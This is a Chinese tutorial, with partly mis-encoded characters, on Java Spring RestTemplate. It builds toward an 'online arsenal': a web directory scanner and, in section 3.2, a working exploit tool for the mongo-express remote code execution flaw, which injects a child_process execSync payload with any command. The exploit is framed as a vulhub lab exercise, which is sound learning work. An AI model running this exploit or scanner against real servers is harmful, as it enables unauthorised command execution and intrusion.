java分布式基于RestTemplate的使用方法
1.前言
最近在接觸到分布式方面知識(shí)的時(shí)候,學(xué)習(xí)了RestTemplate的一些使用。RestTemplate比較常見的就是用來進(jìn)行一些http請(qǐng)求。本人在使用之后,在語法簡潔的同時(shí),感覺非常的方便。
于是乎在后面就想到了,通過RestTemplate來做成在線的"武器庫",會(huì)不會(huì)更方便呢。因?yàn)镾pringboot開發(fā)本來就比較簡單,而且在后期進(jìn)行一些團(tuán)隊(duì)協(xié)作的時(shí)候,用在線的平臺(tái)是不是相對(duì)于團(tuán)隊(duì)更方便?避免了因?yàn)榄h(huán)境不一致而造成的問題。
2.RestTemplate get請(qǐng)求及傳參
2.1正常get請(qǐng)求不帶參
首先來用一下正常不帶參的請(qǐng)求,既然要使用RestTemplate,那么肯定首先要new出來。之后使用rest.exchange進(jìn)行請(qǐng)求。
exchange參數(shù)說明如下:
類型 | 說明 |
---|---|
url | 請(qǐng)求路徑 |
method | 請(qǐng)求的方法(GET、POST、PUT等) |
requestEntity | HttpEntity對(duì)象,封裝了請(qǐng)求頭和請(qǐng)求體 |
responseType | 返回?cái)?shù)據(jù)類型 |
uriVariables | 支持PathVariable類型的數(shù)據(jù)。 |
參數(shù)1,2不做過多講解,參數(shù)3的話,在初始化HttpEntity的時(shí)候,就可以傳入一個(gè)自定義的headers。
所以提前通過HttpHeaders headers = new HttpHeaders();
進(jìn)行設(shè)置headers并傳入即可。
@RequestMapping("gettest") public @ResponseBody String param(){ RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"); String url = "http://127.0.0.1/t.php"; ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<> (null,headers),String.class); String body = res.getBody(); return body; }
在上方的代碼中,請(qǐng)求的是一個(gè)php文件,而該php文件非常簡單,只是打印出user_agent。
在打印出user_agent之后,ResponseEntity res這兒就接收到了回顯信息,最后在通過res.getBody();成功獲取到頁面的回顯數(shù)據(jù)
2.2 get請(qǐng)求帶參使用
了解完上面的無參get請(qǐng)求之后,接下來了解一下如何傳參?
是不是感覺有點(diǎn)枯燥了?為此加了點(diǎn)CTF元素。代碼如下,只有當(dāng)用戶傳參符合第四行的if判斷,才會(huì)進(jìn)行輸出正確的flag
傳參方式:
這種也是最為常見的一種,就是使用參數(shù)接收,是不是感覺和上方無參get方式的代碼非常相似?下方形參agent和value就是在網(wǎng)頁中的參數(shù)名(PS:學(xué)過springboot的小伙伴應(yīng)該都知道)。之后將agent設(shè)置到headers里面,而value進(jìn)行了拼接到**t.php?value= **后面進(jìn)行當(dāng)做參數(shù)值傳入
public @ResponseBody String param(**String agent,String value**){ RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",**agent**); String url = "http://127.0.0.1/t.php?value="+**value**; ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); String body = res.getBody(); return body; }
最后進(jìn)行測(cè)試一下,成功進(jìn)行傳參獲取到了“flag”
2.3 編寫在線目錄掃描腳本
既然玩轉(zhuǎn)了get請(qǐng)求之后,那就來做一個(gè)目錄掃描的小功能吧。畢竟學(xué)以致用。
整體實(shí)現(xiàn)流程如下,采用springboot,并整合mybatis。這里沒有寫Service層,因?yàn)楫吘苟际浅醪綄?shí)現(xiàn)而已。
而最為顯著的一個(gè)優(yōu)點(diǎn)就是:站點(diǎn)目錄都會(huì)存入到數(shù)據(jù)庫中,這就在后期發(fā)展中避免了字典少,不夠用的問題。因?yàn)閳F(tuán)隊(duì)成員都可以將自己的字典存入到該數(shù)據(jù)庫中。
首先準(zhǔn)備好數(shù)據(jù)庫和一些"字典",測(cè)試階段,本人自己就手動(dòng)添加了幾個(gè)。后續(xù)如果字典龐大,可自己寫個(gè)小腳本導(dǎo)入到數(shù)據(jù)庫即可。
數(shù)據(jù)庫準(zhǔn)備好之后,就可以進(jìn)行整合mybatis了。這里pom文件需要加載mybatis和mysql的依賴。
目錄結(jié)構(gòu)如下:一個(gè)Controller,一個(gè)mapper和xml配置文件,以及一個(gè)用來存儲(chǔ)的類
application主配置文件,主要用來寫一些數(shù)據(jù)庫配置
server.port=8081 spring.datasource.username=root spring.datasource.password=root spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8 mybatis.mapper-locations=classpath:Mapper/*.xml
Mapper代碼如下,記得要加上@Mapper注解
@Mapper public interface MuluMapper { List<catalogue> selectAll(); }
Mapper.xml配置,用來查詢數(shù)據(jù)庫中的 “字典”
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.example.restclien.Dao.MuluMapper"> <select id="selectAll" resultType="com.example.restclien.Dao.catalogue"> select * from catalogue </select> </mapper>
既然配置好之后,那就開始實(shí)現(xiàn)重要功能點(diǎn)了!代碼簡單講解一下:首先通過@Autowired把mapper自動(dòng)注入。
之后 List<catalogue> list = muluMapper.selectAll();
會(huì)到mapper.xml
中執(zhí)行select查詢語句,并將其保存到List集合中。最后到for循環(huán)中進(jìn)行循環(huán)遍歷過程中,將url與獲取的數(shù)據(jù)庫中的name字段內(nèi)容拼接保存到temp這個(gè)臨時(shí)變量。
舉個(gè)例子:
用戶輸入url為http://127.0.0.1
name字段第一個(gè)內(nèi)容為:admin
那么最終 temp=http://127.0.0.1/admin
拼接完成之后,通過exchange訪問,最終res.getStatusCodeValue()獲取響應(yīng)碼,為200的話,就判定該文件存在。(PS:這里判斷的比較潦草,比如403等情況沒有進(jìn)行判斷)
@RestController public class MapperController { @Autowired MuluMapper muluMapper; @RequestMapping("/tance") public String tance(String url) { RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); List<String> lists = new ArrayList<>(); headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"); List<catalogue> list = muluMapper.selectAll(); if(!url.endsWith("/")){ url+="/"; } for (catalogue tance : list) { String temp = url+tance.getName(); try{ ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); lists.add("目錄存在:"+temp+" 響應(yīng)狀態(tài)碼為:"+res.getStatusCodeValue()); }catch(Exception e){ e.printStackTrace(); } } return lists.toString(); } }
看一下最終成品吧,成功實(shí)現(xiàn)一款簡易的在線web目錄掃描
3.RestTemplate post請(qǐng)求
3.1 post請(qǐng)求玩法
有了上面的思路之后,post也類似。那么為了防止大家感覺枯燥,繼續(xù)來玩這道"CTF"
php的代碼沒有太大變動(dòng),只是請(qǐng)求換成了post
RestTemplate代碼如下:傳參將agent設(shè)置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解為這個(gè)LinkedMultiValueMap就是用來存儲(chǔ)post要提交的數(shù)據(jù),而最后這個(gè)稍作不同的是,用的restTemplate.postForEntity()進(jìn)行post提交數(shù)據(jù)即可,與get是非常類似的。
@RequestMapping("/Post01") public @ResponseBody String Post01(String agent,String value){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",agent); String url = "http://127.0.0.1/t.php"; LinkedMultiValueMap params = new LinkedMultiValueMap(); params.add("value",value); ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class); return str.getBody(); }
最后傳參即可,dong的一下,“flag”也就出現(xiàn)了
3.2 mongo-express 遠(yuǎn)程代碼執(zhí)行漏洞腳本編寫
靶場(chǎng)安裝直接去vulhub下載即可。安裝過程很簡單,啟動(dòng)之后
漏洞利用過程更為簡單execSync中輸入要執(zhí)行的命令即可。返回Valid表示執(zhí)行成功了。
之后前往docker查看即可,發(fā)現(xiàn)成功創(chuàng)建1.txt
接下來編寫利用腳本
先準(zhǔn)備一個(gè)比較丑的前端頁面,存到static目錄中,這是Springboot默認(rèn)存放靜態(tài)資源的地方。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>mongo-express 遠(yuǎn)程代碼執(zhí)行漏洞</title> </head> <body> <form action="/exec" method="post"> 請(qǐng)輸入漏洞URL:<input type="text" name="url"/><br/> 請(qǐng)輸入要執(zhí)行的命令:<input type="text" name="command"/> <input type="submit" value="提交"> </form> </body> </html>
Controller編寫思路,首先可以看到action提交到了exec,所以RequestMapping寫成exec即可,參數(shù)的話,一個(gè)url用來接收url地址的,一個(gè)command用來接收命令。
完整Controller如下,筆者帶你進(jìn)一步分析:在paramMap.add語句中,可以看到對(duì)輸入進(jìn)來command進(jìn)行了拼接,假設(shè)筆者這里輸入的為“ls”,從而構(gòu)成了如下數(shù)據(jù)
document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)
最后使用的exchange方法進(jìn)行的POST提交,提交的URL為筆者傳入的,而command傳入并拼接進(jìn)去之后,數(shù)據(jù)最終存到了httpEntity中,,而這里的參數(shù)就不做過多講解,因?yàn)橛辛饲懊娴幕A(chǔ),應(yīng)該都能一看懂什么意思。
@RequestMapping("/exec") public @ResponseBody String Post01(String url,String command){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"); MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>(); paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")"); HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers); ResponseEntity<String> response = null; try { response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class); }catch(NullPointerException e){ e.printStackTrace(); } return response.getBody(); }
最終測(cè)試過程,編寫腳本利用成功
4.結(jié)尾
在進(jìn)行內(nèi)部團(tuán)隊(duì)協(xié)作的時(shí)候,后期效率確實(shí)是可以提升,同時(shí)也提升了自己的代碼水平~。
以上就是基于RestTemplate的在線武器庫的詳細(xì)內(nèi)容,更多關(guān)于RestTemplate的在線武器庫的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
java8 對(duì)象轉(zhuǎn)Map時(shí)重復(fù) key Duplicate key xxxx的解決
這篇文章主要介紹了java8 對(duì)象轉(zhuǎn)Map時(shí)重復(fù) key Duplicate key xxxx的解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-09-09Java?pdf文件書簽承前縮放驗(yàn)證的設(shè)置方法
很多朋友不知道是什么是書簽承前縮放,簡單說就是可以任意改變當(dāng)前pdf文檔縮放比例,點(diǎn)擊書簽后不影響其縮放比率,本文給大家介紹下Java?pdf文件書簽承前縮放驗(yàn)證的設(shè)置方法,感興趣的朋友一起看看吧2022-02-02SpringBoot整合redis中的JSON序列化文件夾操作小結(jié)
在我們?nèi)粘5捻?xiàng)目開發(fā)中,使用redis作為緩存,來提高系統(tǒng)訪問速度和緩解系統(tǒng)壓力,在使用中遇到幾個(gè)問題,本文給大家詳細(xì)總結(jié)下,對(duì)SpringBoot整合redis?JSON序列化相關(guān)知識(shí)感興趣的朋友一起看看吧2022-02-02SpringBoot過濾器實(shí)現(xiàn)項(xiàng)目內(nèi)接口過濾詳解
這篇文章主要為大家詳細(xì)介紹了SpringBoot如何利用過濾器實(shí)現(xiàn)項(xiàng)目內(nèi)接口過濾,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起了解一下2023-04-04Java?20在Windows11系統(tǒng)下的簡易安裝教程
這篇文章主要給大家介紹了關(guān)于Java?20在Windows11系統(tǒng)下的簡易安裝教程,學(xué)習(xí)Java的同學(xué),第一步就是安裝好Java環(huán)境,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-07-07SpringBoot(cloud)自動(dòng)裝配bean找不到類型的問題
這篇文章主要介紹了SpringBoot(cloud)自動(dòng)裝配bean找不到類型的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-02-02java實(shí)現(xiàn)數(shù)字轉(zhuǎn)換人民幣中文大寫工具
這篇文章主要為大家詳細(xì)介紹了java實(shí)現(xiàn)數(shù)字轉(zhuǎn)換人民幣中文大寫工具,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-04-04MyBatis中操作類對(duì)象的實(shí)現(xiàn)
在MyBatis框架中,操作類對(duì)象是用于執(zhí)行數(shù)據(jù)庫操作的核心對(duì)象,本文主要介紹了MyBatis中操作類對(duì)象的實(shí)現(xiàn),具有一定的參考價(jià)值,感興趣的可以了解一下2023-11-11Java實(shí)戰(zhàn)之實(shí)現(xiàn)用戶登錄
這篇文章主要介紹了Java實(shí)戰(zhàn)之實(shí)現(xiàn)用戶登錄,文中有非常詳細(xì)的代碼示例,對(duì)正在學(xué)習(xí)java的小伙伴們有非常好的幫助,需要的朋友可以參考下2021-04-04